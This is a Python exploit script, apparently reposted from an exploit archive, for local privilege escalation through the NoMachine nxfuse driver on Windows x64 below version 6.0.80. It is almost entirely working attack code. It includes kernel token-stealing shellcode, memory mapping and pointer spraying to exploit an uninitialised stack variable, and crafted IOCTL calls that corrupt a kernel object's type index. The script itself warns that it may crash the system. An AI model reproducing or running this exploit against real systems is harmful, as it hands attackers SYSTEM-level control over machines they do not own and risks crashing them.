NoMachine x64 < 6.0.80 - nxfuse Privilege Escalation Exploit

from ctypes import *
 
from ctypes.wintypes import *
 
import struct
 
import sys
 
import os
 
  
 
MEM_COMMIT = 0x00001000
 
MEM_RESERVE = 0x00002000
 
PAGE_EXECUTE_READWRITE = 0x00000040
 
GENERIC_READ  = 0x80000000
 
GENERIC_WRITE = 0x40000000
 
OPEN_EXISTING = 0x3
 
STATUS_INVALID_HANDLE = 0xC0000008
 
  
 
shellcode_len = 90
 
s = “”
 
s += “\x65\x48\x8B\x04\x25\x88\x01\x00”        #mov rax, [gs:0x188]
 
s += “\x00”
 
s += “\x48\x8B\x40\x70”                                  #mov rax, [rax + 0x70]
 
s += “\x48\x8B\x98\x90\x02\x00\x00”                 #mov rbx, [rax + 0x290]   
 
s += “\x48\x8B\x80\x88\x01\x00\x00”                 #mov rax, [rax + 0x188]
 
s += “\x48\x2D\x88\x01\x00\x00”                     #sub rax, 0x188
 
s += “\x48\x39\x98\x80\x01\x00\x00”                 #cmp [rax + 0x180], rbx
 
s += “\x75\xEA”                                               #jne Loop1
 
s += “\x48\x89\xC1”                                     #mov rcx, rax
 
s += “\xBA\x04\x00\x00\x00”                        #mov rdx, 0x4
 
s += “\x48\x8B\x80\x88\x01\x00\x00”                 #mov rax, [rax + 0x188]
 
s += “\x48\x2D\x88\x01\x00\x00”                     #sub rax, 0x188
 
s += “\x48\x39\x90\x80\x01\x00\x00”                 #cmp [rax + 0x180], rdx
 
s += “\x75\xEA”                                               #jne Loop2
 
s += “\x48\x8B\x80\x08\x02\x00\x00”                 #mov rax, [rax + 0x208]   
 
s += “\x48\x89\x81\x08\x02\x00\x00”                 #mov [rcx + 0x208], rax
 
s += “\x48\x31\xC0”                                     #xor rax,rax
 
s += “\xc3”                                                  #ret
 
shellcode = s
 
  
 
  
 
”’
 
* Convert a python string to PCHAR
 
@Param string – the string to be converted.
 
@Return – a PCHAR that can be used by winapi functions.
 
”’
 
def str_to_pchar(string):
 
      pString = c_char_p(string)
 
  
 
      return pString
 
  
 
”’
 
* Map memory in userspace using NtAllocateVirtualMemory
 
@Param address – The address to be mapped, such as 0x41414141.
 
@Param size – the size of the mapping.
 
@Return – a tuple containing the base address of the mapping and the size returned.
 
”’
 
def map_memory(address, size):
 
      temp_address = c_void_p(address)
 
      size = c_uint(size)
 
  
 
      proc = windll.kernel32.GetCurrentProcess()
 
      nt_status = windll.ntdll.NtAllocateVirtualMemory(c_void_p(proc),
 
                                            byref(temp_address), 0,
 
                                            byref(size),
 
                                            MEM_RESERVE|MEM_COMMIT,
 
                                            PAGE_EXECUTE_READWRITE)
 
  
 
      #The mapping failed, let the calling code know
 
      if nt_status != 0:
 
            return (-1, c_ulong(nt_status).value)
 
      else:
 
            return (temp_address, size)
 
  
 
”’
 
* Write to some mapped memory.
 
@Param address – The address in memory to write to.
 
@Param size – The size of the write.
 
@Param buffer – A python buffer that holds the contents to write.
 
@Return – the number of bytes written.
 
”’
 
def write_memory(address, size, buffer):
 
      temp_address = c_void_p(address)
 
      temp_buffer = str_to_pchar(buffer)
 
      proc = c_void_p(windll.kernel32.GetCurrentProcess())
 
      bytes_ret = c_ulong()
 
      size = c_uint(size)
 
  
 
      windll.kernel32.WriteProcessMemory(proc,
 
                                                      temp_address,
 
                                                      temp_buffer,
 
                                                      size,
 
                                                      byref(bytes_ret))
 
  
 
      return bytes_ret
 
  
 
”’
 
* Get a handle to a device by its name. The calling code is responsible for
 
* checking the handle is valid.
 
@Param device_name – a string representing the name, ie \\\\.\\nxfs-net….
 
”’
 
def get_handle(device_name):
 
      return windll.kernel32.CreateFileA(device_name,
 
                                GENERIC_READ | GENERIC_WRITE,
 
                                0,
 
                                None,
 
                                OPEN_EXISTING,
 
                                0,
 
                                None)
 
  
 
def main():
 
      print “[+] Attempting to exploit uninitialised stack variable, this has a chance of causing a bsod!”
 
  
 
      print “[+] Mapping the regions of memory we require”
 
  
 
      #Try and map the first 3 critical regions, if any of them fail we exit.
 
      address_1, size_1 = map_memory(0x14c00000, 0x1f0000)
 
      if address_1 == -1:
 
            print “[x] Mapping 0x610000 failed with error %x” %size_1
 
            sys.exit(-1)
 
  
 
      address_2, size_2 = map_memory(0x41414141, 0x100000)
 
      if address_2 == -1:
 
            print “[x] Mapping 0x41414141 failed with error %x” %size_2
 
            sys.exit(-1)
 
  
 
      address_3, size_3 = map_memory(0xbad0b0b0, 0x1000)
 
      if address_3 == -1:
 
          print “[x] Mapping 0xbad0b0b0 failed with error %x” %size_3
 
          sys.exit(-1)
 
  
 
      #this will hold our shellcode
 
      sc_address, sc_size = map_memory(0x42424240, 0x1000)
 
      if sc_address == -1:
 
          print “[x] Mapping 0xbad0b0b0 failed with error %x” %sc_size
 
          sys.exit(-1)
 
  
 
      #Now we write certain values to those mapped memory regions
 
      print “[+] Writing data to mapped memory…”
 
      #the first write involves storing a pointer to our shellcode
 
      #at offset 0xbad0b0b0+0xa8
 
      buff = “\x40BBB” #0x42424240
 
      bytes_written = write_memory(0xbad0b0b0+0xa8, 4, buff)
 
      
 
      write_memory(0x42424240, shellcode_len, shellcode)
 
  
 
      #the second write involves spraying the first memory address with pointers
 
      #to our second mapped memory.
 
      print “\t spraying unitialised pointer memory with userland pointers”
 
      
 
      buff = “\x40AAA” #0x0000000041414140
 
      for offset in range(4, size_1.value, 8):
 
            temp_address = address_1.value + offset
 
            write_memory(temp_address, 4, buff)
 
  
 
      #the third write simply involves setting 0x41414140-0x18 to 0x5
 
      #this ensures the kernel creates a handle to a TOKEN object.
 
      print “[+] Setting TOKEN type index in our userland pointer”
 
      buff = “\x05”
 
      temp_address = 0x41414140-0x18
 
      write_memory(temp_address, 1, buff)
 
  
 
      print “[+] Writing memory finished, getting handle to first device”
 
      handle = get_handle(“\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061”)
 
  
 
      if handle == STATUS_INVALID_HANDLE:
 
            print “[x] Couldn’t get handle to \\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061”
 
            sys.exit(-1)
 
  
 
      #if we have a valid handle, we now need to send ioctl 0x222014
 
      #this creates a new device for which ioctl 0x222030 can be sent
 
      in_buff = struct.pack(“<I”, 0x190) +  struct.pack(“<I”, 0x1) + “AA”
 
      in_buff = str_to_pchar(in_buff)
 
      out_buff = str_to_pchar(“A”*0x90)
 
      bytes_ret = c_ulong()
 
  
 
      ret = windll.kernel32.DeviceIoControl(handle,
 
                                      0x222014,
 
                                      in_buff,
 
                                      0x10,
 
                                      out_buff,
 
                                      0x90,
 
                                      byref(bytes_ret),
 
                                      0)
 
      if ret == 0:
 
            print “[x] IOCTL 0x222014 failed”
 
            sys.exit(-1)
 
  
 
      print “[+] IOCTL 0x222014 returned success”
 
  
 
      #get a handle to the next device for which we can send the vulnerable ioctl.
 
      print “[+] Getting handle to \\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”
 
      handle = get_handle(“\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”)
 
  
 
      if handle == STATUS_INVALID_HANDLE:
 
            print “[x] Couldn’t get handle”
 
            sys.exit(-1)
 
  
 
      #this stage involves attempting to manipulate the Object argument on the stack.
 
      #we found that making repeated calles to CreateFileA increased this value.
 
      print “[+] Got handle to second device, now generating a load more handles”
 
      for i in range(0, 900000):
 
            temp_handle = get_handle(“\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”)
 
  
 
      #coming towards the end, we send ioctl 0x222030, this has the potential to bluescreen the system.
 
      #we don’t care about the return code.
 
      print “[+] Sending IOCTL 0x222030”
 
      in_buff = str_to_pchar(“A”*0x30)
 
      out_buff = str_to_pchar(“B”*0x30)
 
  
 
      windll.kernel32.DeviceIoControl(handle,
 
                                    0x222030,
 
                                    in_buff,
 
                                    0x30,
 
                                    out_buff,
 
                                    0x30,
 
                                    byref(bytes_ret),
 
                                    0)
 
  
 
      #finally, we confuse the kernel by setting our object type index to 1.
 
      #this then points to 0xbad0b0b0, and namely 0xbad0b0b0+0xa8 for the close procedure(???)
 
      print “[+] Setting our object type index to 1”
 
      temp_address = 0x41414140-0x18
 
      write_memory(temp_address, 1, “\x01”)
 
  
 
      #The process should now exit, where the kernel will attempt to clean up our dodgy handle
 
      #This will cause …..
 
  
 
if __name__ == ‘__main__’:
 
      main()

#  0day.today [2018-03-05]  #